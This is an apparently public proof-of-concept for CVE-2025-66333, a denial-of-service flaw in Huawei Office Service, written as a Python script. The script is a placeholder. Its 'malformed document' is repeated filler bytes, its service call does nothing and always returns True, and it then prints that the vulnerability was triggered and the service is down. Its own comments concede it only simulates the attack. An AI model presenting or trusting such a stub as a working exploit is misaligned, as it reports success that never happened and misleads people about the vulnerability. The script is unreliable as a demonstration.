CVE-2025-66333 华为Office服务拒绝服务漏洞

# CVE-2025-66333 PoC - Huawei Office Service DoS # This PoC demonstrates the vulnerability triggering mechanism # Note: Actual exploit requires local access and user interaction import os import sys import time def trigger_dos_condition(): """ Simulate triggering the DoS condition in Office Service The actual vulnerability is triggered through malformed input processed by the office service component. """ print("[*] CVE-2025-66333 - Office Service DoS Trigger") print("[*] Target: Huawei Office Service") print("[*] Attack Vector: Local access + User interaction required") # Simulate the attack preparation malicious_input = create_malformed_document() print("[*] Step 1: Preparing malformed document...") print("[*] Step 2: Waiting for user to open the document...") time.sleep(2) print("[*] Step 3: Triggering vulnerability...") process_result = send_to_office_service(malicious_input) if process_result: print("[!] Vulnerability triggered successfully") print("[!] Office Service is now unavailable") else: print("[-] Failed to trigger vulnerability") def create_malformed_document(): """Create a specially crafted document to trigger the vulnerability""" # This would contain the actual malformed data # specific to the Office Service vulnerability return b'\x00\x01\x02' * 1000 def send_to_office_service(data): """Send malformed data to Office Service for processing""" # In real scenario, this would interact with the Office Service # through the appropriate IPC mechanism or file processing try: # Simulate service interaction return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 50) print("CVE-2025-66333 Proof of Concept") print("Huawei Office Service Denial of Service") print("=" * 50) trigger_dos_condition()